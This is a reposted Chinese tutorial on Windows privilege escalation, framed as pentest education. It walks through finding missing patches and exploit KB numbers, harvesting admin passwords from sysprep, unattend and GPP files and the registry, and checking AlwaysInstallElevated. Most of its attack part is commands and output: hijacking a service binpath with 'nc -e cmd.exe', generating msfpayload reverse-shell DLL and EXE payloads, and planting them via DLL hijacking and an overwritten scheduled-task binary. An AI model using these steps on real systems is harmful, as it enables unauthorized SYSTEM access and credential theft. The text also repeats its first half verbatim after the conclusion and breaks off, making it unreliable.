[转帖「白帽黑客成长记」Windows提权基本原理(下) 「白帽黑客成长记」Windows提权基本原理(下)

「白帽黑客成长记」Windows提权基本原理(下)

 
https://www.cnblogs.com/ichunqiu/p/10968674.html 

提权..

之前还在想 为什么 我的 sqlserver 运行在 network service 上面 还能被创建新用户.

上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能。

推荐阅读:「白帽黑客成长记」Windows提权基本原理(上)

注:文章篇幅较长,阅读用时约10分钟。

 

 

 

在t5-t6阶段,快速攻陷

在继续渗透之前,你需要先回顾一下已经搜集到的信息,信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。

显而易见,第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁,也不用很担心。我的WMIC脚本可以列出所有已安装的补丁,你可以通过下面这条命令来查看:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013 http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013 http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013 http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013 http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013 http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013 http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013 http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013 http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013 http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013 http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013 http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013 http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013 http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013 http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013 http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013 http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013 http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013 http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013 [..Snip..] 

但这些输出并不代表一定可以被利用,最好的策略先是去寻找可以提升权限的EXP以及它们的补丁编号。这些EXP包括但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。

在列举了系统版本和补丁包后,你应该发现哪些权限提升漏洞可以被复现,使用补丁包编号你可以过滤掉那些已经被安装的补丁,检查一下是否有被漏打的补丁。

以下是对补丁包进行过滤的语法:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." 

接下来我们将会有很多新发现。一般情况下,如果需要给很多机器配置同一个环境,一个技术人员一定不会逐个安装配置这些机器,而是会选择一些自动化安装的解决方案。

这些方案是什么以及它们是如何工作的与我们当下所做的事情关联度不大,重要的是他们留下的用于安装流程的配置文件,这些配置文件包含大量的敏感信息,例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码,因为我们可以借此来提权。

以下是一些经常被用于存放配置文件的位置(当然检查整个系统也是可以的)

c:\sysprep.inf
c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml 

这些目录中的文件可能包含着明文密码,或是Base64加密后的密码。下面是一些文件中的样例:

# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
 <LocalAccount wcm:action="add"> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> # Sample from Unattended.xml with the same "secure" Base64 encoding. <AutoLogon> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> 

在Ben Campbell (@Meatballs__)的推荐下,我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内,那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的,而且所有被授权的用户都有该文件的读权限。

在这个 xml 文件中的密码只是被临时用户“模糊”地用AES加密了,说“模糊”是因为静态密钥已经被公开的公布于msdn网站上,所以可以轻松地破解这些密码。

除了Groups.xml还有几个其他的策略首选项文件也同样含有可选的“cPassword”属性:

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes 

这个漏洞可以通过手动浏览SYSVOL文件夹和抓取相关文件来利用,证明如下:

 

 

 

然而,我们都希望有一个自动化的解决方案,这样我们就可以尽可能快的完成这项工作。这里主要有两种方式,取决于我们的shell类型以及权限大小:

  • 一个是通过已建立的会话执行 metasploit 模块;
  • 你可以使用PowerSploit的Get-GPPPassword功能。PowerSploit 是一个强大的powershell框架,作者是Matt Graeber(擅长逆向工程、计算机取证以及渗透测试)。

 

接下来我们要查找一个奇怪的注册表设置项“AlwaysInstallElevated”,如果该设置项被启用,它会允许任何权限的用户以NT AUTHORITY\SYSTEM权限来安装*.msi文件。

可以创建低权限的用户(它们的操作系统使用受到限制)但是却给它们SYSTEM权限去安装软件,这在我看来是有些奇怪。想要阅读更多的这方面的背景知识,可以查看这里 ,这是在GreyHatHacker博客上Parvez的一篇文章,他最早报告了这个安全问题。

为了能利用这个漏洞,我们需要去检查两个注册表键值是否被设置,这是我们是否能弹出SYSTEM权限shell的关键。以下是查询对应注册表键值的语法:

# 只有当注册表项中存在键值 "AlwaysInstallElevated" 且其 DWORD 值为1时才会有效
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

为了完成这个章节,我们还将在操作系统上做一些快速搜索,希望我们可以成功。

执行以下语句完成搜索:

# The command below will search the file system for file names containing certain keywords. You canspecify as many keywords as you wish.
# 这条语句可以搜索指定含有任意多关键字的文件名 C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config* # Search certain file types for a keyword, this can generate a lot of output. # 用关键词搜索精确的文件类型,这个操作可能造成大量的输出 C:\Windows\system32> findstr /si password *.xml *.ini *.txt # Similarly the two commands below can be used to grep the registry for keywords, in this case "password". # 以下两个命令被用于查找带有关键词的注册表项,样例中查询的关键词是 "password" C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s 

 

在t7-t10阶段,耐心踏实和努力

希望到现在为止,我们已经有了一个SYSTEM shell,但如果我们还没有,接下来还有一些方法可以尝试。在最后章节我们将会关注于Windows服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。

我们将会检查很多访问权限,所以我们应该抓取一份微软Sysinternals套件中accesschk.exe工具的副本。微软Sysinternals套件包含了许多强大的工具,但微软并没有把它们加入标准版的Windows。你可以从微软technet网站下载该套件。

我们将会先从Windows开启的服务来寻找线索,因为那里可以发现很多快速制胜的方法。通常来说,现代操作系统不会包含存在漏洞的服务。在这种情况下,漏洞指的是我们可以重新配置的服务参数。Windows服务有点像应用程序的快捷键,下面是一个例子:

# We can use sc to query, configure and manage windows services.
# 我们可以使用 sc 去查询、配置、管理 Windows 服务
C:\Windows\system32> sc qc Spooler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem 

我们可以使用accesschk检查每一个服务的权限。

# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
 R NT AUTHORITY\Authenticated Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 R BUILTIN\Power Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_START
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 RW BUILTIN\Administrators
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 SERVICE_ALL_ACCESS

Accesschk可以自动化的检测我们是否拥有一个Windows服务的写入访问权限。作为一个低权限用户,我们通常希望检查结果为“Authenticated Users”。一定要去检查你的用户属于哪个用户组,举个例子,“Power Users”被认为是一个低权限用户组(尽管它没有被广泛使用)。

一起来比较一下在Windows 8和Windows XP SP0上输出的不同:

# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found. # On a default Windows XP SP0 we can see there is a pretty big security fail. C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS 

这个问题在之后的XP SP2版本中得到了解决,然而在SP0和SP1它可以被用作一个通用的本地提权漏洞。通过重新配置该服务,我们可以让它以SYSTEM权限运行任何我们指定的二进制文件。

让我们来看看怎么实践操作,在这个例子里该服务将会执行netcat并且可以反弹一个SYSTEM权限的shell。其它的操作方法当然也是可能存在的。

C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
 TYPE : 20 WIN32_SHARE_PROCESS
 START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalService C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" [SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= "" [SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost 

 

 

 

即使服务是不正确配置的,我们大多时候也不能获取该服务完整的控制权限。下图是从Brett Moore’s在Windows提权方面的渗透测试,图中的任一权限都可以给我们一个SYSTEM shell。

 

 

 

重要的是去记住我们搞定的session是属于哪个用户组的,正如先前提到的“Power Users”被视为是一个低权限用户组。但“Power Users”也有一些属于他们自己的配置漏洞,Mark Russinovich已经在这个问题上写了非常有趣的文章。

“Power Users”的力量 ( Mark Russinovich )

最后,我们将会检查文件/目录的权限,如果我们不能直接攻击计算机系统,我们就让计算机做所有的繁重工作。由于这方面涉及内容太多,所以我将介绍两种提权漏洞给你,并展示如何去利用它们。一旦你掌握了通用的思路,你将能够在其它场景下应用这些技术。

作为第一个示例,我们将复现GreyHatHacker上Parvez的一篇文章中的方法。“利用低文件夹权限提权”,这是一个很棒的提权思路,我非常推荐大家去阅读。

这个示例是DLL劫持中的一个特例。程序通常不能通过它们自身实现功能,它们需要挂载许多自身所需的资源(大多是DLL但也有某些特有文件)。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件,那我们就可以借此弹出一个与之相同权限的shell。

通常一个Windows应用程序将会使用一个预定义的搜索路径去寻找DLL组件,而且它会以特定的顺序检查这些路径。DLL劫持经常是将一个恶意的DLL置于某一搜索路径中,并确保恶意DLL会在合法的DLL之前被找到。

以下是在32位操作系统下DLL查找的顺序:

  • The directory from which the application loaded
  • 32-bit System directory
  • (C:\Windows\System32)
  • 16-bit System directory
  • (C:\Windows\System)
  • Windows directory (C:\Windows)
  • The current working directory (CWD)
  • Directories in the PATH environment variable (system then user)

有时应用程序想要加载的DLL可能不在主机上,引起该问题的原因有很多,比如当DLL文件只存在于某个未安装的插件或者计算机特性(feature)时。在这种情况下,Parvez发现某些Windows服务会去试图加载默认安装中不存在的 DLL。

但由于问题中的DLL不存在,所以我们将遍历所有路径。作为一个低权限的用户,也许我们可以去放置一个恶意DLL在上述路径中的1-4中。而路径5是行不通的,因为我们正在研究的是Windows服务,我们并没有所有目录的写权限。

让我们来看一下如何进行实战,在本例中,我们将会利用需要加载wlbsctrl.dll的IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务:

# This is on Windows 7 as low privilege user1.
C:\Users\user1\Desktop> echo %username% user1 # We have a win here since any non-default directory in "C:\" will give write access to authenticated users. C:\Users\user1\Desktop> echo %path% C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Program Files\OpenVPN\bin;C:\Python27 # We can check our access permissions with accesschk or cacls. C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C # Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot! C:\Users\user1\Desktop> sc qc IKEEXT [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem 

现在必要的条件都已经满足了,我们可以生成一个恶意的DLL并弹出一个shell:

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O  Name: Windows Command Shell, Reverse TCP Inline  Module: payload/windows/shell_reverse_tcp  Platform: Windows  Arch: x86 Needs Admin: No Total size: 314  Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp  Length: 314 Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"} 

在将恶意DLL传送到靶机之后,我们需要将它重命名为wlbsctrl.dll并将它移动到“C:\Python27”路径下。完成后,我们只需要耐心等待机器被重启(或者我们可以尝试强制重启),之后我们就可以得到一个SYSTEM shell。

# Again, this is as low privilege user1.
C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> . 02/18/2014 01:49 PM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/18/2014 12:38 PM 14,336 evil.dll 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python27 02/18/2014 01:53 PM <DIR> . 02/18/2014 01:53 PM <DIR> .. 10/20/2012 02:52 AM <DIR> DLLs 10/20/2012 02:52 AM <DIR> Doc 10/20/2012 02:52 AM <DIR> include 01/28/2014 03:45 AM <DIR> Lib 10/20/2012 02:52 AM <DIR> libs 04/10/2012 11:34 PM 40,092 LICENSE.txt 04/10/2012 11:18 PM 310,875 NEWS.txt 04/10/2012 11:31 PM 26,624 python.exe 04/10/2012 11:31 PM 27,136 pythonw.exe 04/10/2012 11:18 PM 54,973 README.txt 10/20/2012 02:52 AM <DIR> tcl 10/20/2012 02:52 AM <DIR> Tools 04/10/2012 11:31 PM 49,664 w9xpopen.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free 

万事俱备,我们只需要等待机器重启。出于演示目的,我在下面截图中是使用管理员指令手动重启该服务。

 

 

 

对于我们最后的例子,我们将关注于计划任务。回顾我们之前搜集到的信息,我们有以下条目:

HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 9:00:00 AM Start Date: 2/17/2014 End Date: N/A Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled 

这看起来像有一个TFTP客户端连接到远程主机去搜集某些log文件。我们可以看到这个任务每日早9点以SYSTEM权限运行,再看看我们是否有这个文件夹的写入权限:

C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"
E:\GrabLogs
 Medium Mandatory Level (Default) [No-Write-Up]
 RW BUILTIN\Administrators
 FILE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 FILE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
 FILE_ADD_FILE
 FILE_ADD_SUBDIRECTORY
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 FILE_WRITE_ATTRIBUTES
 FILE_WRITE_EA
 DELETE
 SYNCHRONIZE
 READ_CONTROL
 R BUILTIN\Users
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 SYNCHRONIZE
 READ_CONTROL
C:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs 02/18/2014 11:34 PM <DIR> . 02/18/2014 11:34 PM <DIR> .. 02/18/2014 11:34 PM <DIR> Logs 02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free 

显然这是一个严重的配置问题,这个计划任务根本不需要以SYSTEM权限执行,但更糟糕的是任何授权的用户都有该目录的写权限。

理想情况下,对于一次渗透测试我会抓取一个TFTP客户端在里面放一个后门,确保它仍然正常工作,再将其放回靶机。然而出于演示目的,我们可以简单的通过metasploit生成一个二进制文件然后直接覆盖它。

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O  Name: Windows Command Shell, Reverse TCP Inline  Module: payload/windows/shell_reverse_tcp  Platform: Windows  Arch: x86 Needs Admin: No Total size: 314  Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe x86/shikata_ga_nai succeeded with size 341 (iteration=1) 

现在工作只剩下上传我们的恶意可执行文件并覆盖掉“E:\GrabLogs\tftp.exe”文件。一旦上传成功,我们就可以去休息了,等到明早睡醒就可以得到我们的shell 。

对了,别忘记去检查我们靶机的时间/时区。

C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/19/2014 01:36 AM <DIR> . 02/19/2014 01:36 AM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied. 

为了证明这次提权,我调快了系统时间。从以下截图中可以看到,在9点时我们得到了SYSTEM shell。

 

 

 

在思考获取文件/文件夹权限时,这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的binpaths。

我们已经知道了accesschk是一种测试工具。在文章结束之前,我会再给你一些使用accesschk的技巧:

# 当用户第一次使用任何一个 sysinternals 工具包的工具时,用户都会看到一个选择是否接受EULA的弹出窗口,这显然是一个大问题,但我们可以添加一个额外的参数来自动接受EULA
accesschk.exe /accepteula ... ... ...
# Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* 

最后的想法

本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题,你需要投入大量的工作和研究。就像所有的渗透测试一样,举一反三是关键,你对目标的了解越多,获取信息的途径越多,成功的几率就越大。

还要记住,有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题,你可以始终重新配置一个服务,或者创建一个具有系统级别特权的调度任务。

现在就去实践,然后得到SYSTEM!

以上是Windows提权基本原理的全部内容,大家看懂了吗?

上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能。

推荐阅读:「白帽黑客成长记」Windows提权基本原理(上)

注:文章篇幅较长,阅读用时约10分钟。

 

 

 

在t5-t6阶段,快速攻陷

在继续渗透之前,你需要先回顾一下已经搜集到的信息,信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。

显而易见,第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁,也不用很担心。我的WMIC脚本可以列出所有已安装的补丁,你可以通过下面这条命令来查看:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013 http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013 http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013 http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013 http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013 http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013 http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013 http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013 http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013 http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013 http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013 http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013 http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013 http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013 http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013 http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013 http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013 http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013 http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013 [..Snip..] 

但这些输出并不代表一定可以被利用,最好的策略先是去寻找可以提升权限的EXP以及它们的补丁编号。这些EXP包括但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。

在列举了系统版本和补丁包后,你应该发现哪些权限提升漏洞可以被复现,使用补丁包编号你可以过滤掉那些已经被安装的补丁,检查一下是否有被漏打的补丁。

以下是对补丁包进行过滤的语法:

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." 

接下来我们将会有很多新发现。一般情况下,如果需要给很多机器配置同一个环境,一个技术人员一定不会逐个安装配置这些机器,而是会选择一些自动化安装的解决方案。

这些方案是什么以及它们是如何工作的与我们当下所做的事情关联度不大,重要的是他们留下的用于安装流程的配置文件,这些配置文件包含大量的敏感信息,例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码,因为我们可以借此来提权。

以下是一些经常被用于存放配置文件的位置(当然检查整个系统也是可以的)

c:\sysprep.inf
c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml %WINDIR%\Panther\Unattended.xml 

这些目录中的文件可能包含着明文密码,或是Base64加密后的密码。下面是一些文件中的样例:

# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
 <LocalAccount wcm:action="add"> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> # Sample from Unattended.xml with the same "secure" Base64 encoding. <AutoLogon> <Password> <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> 

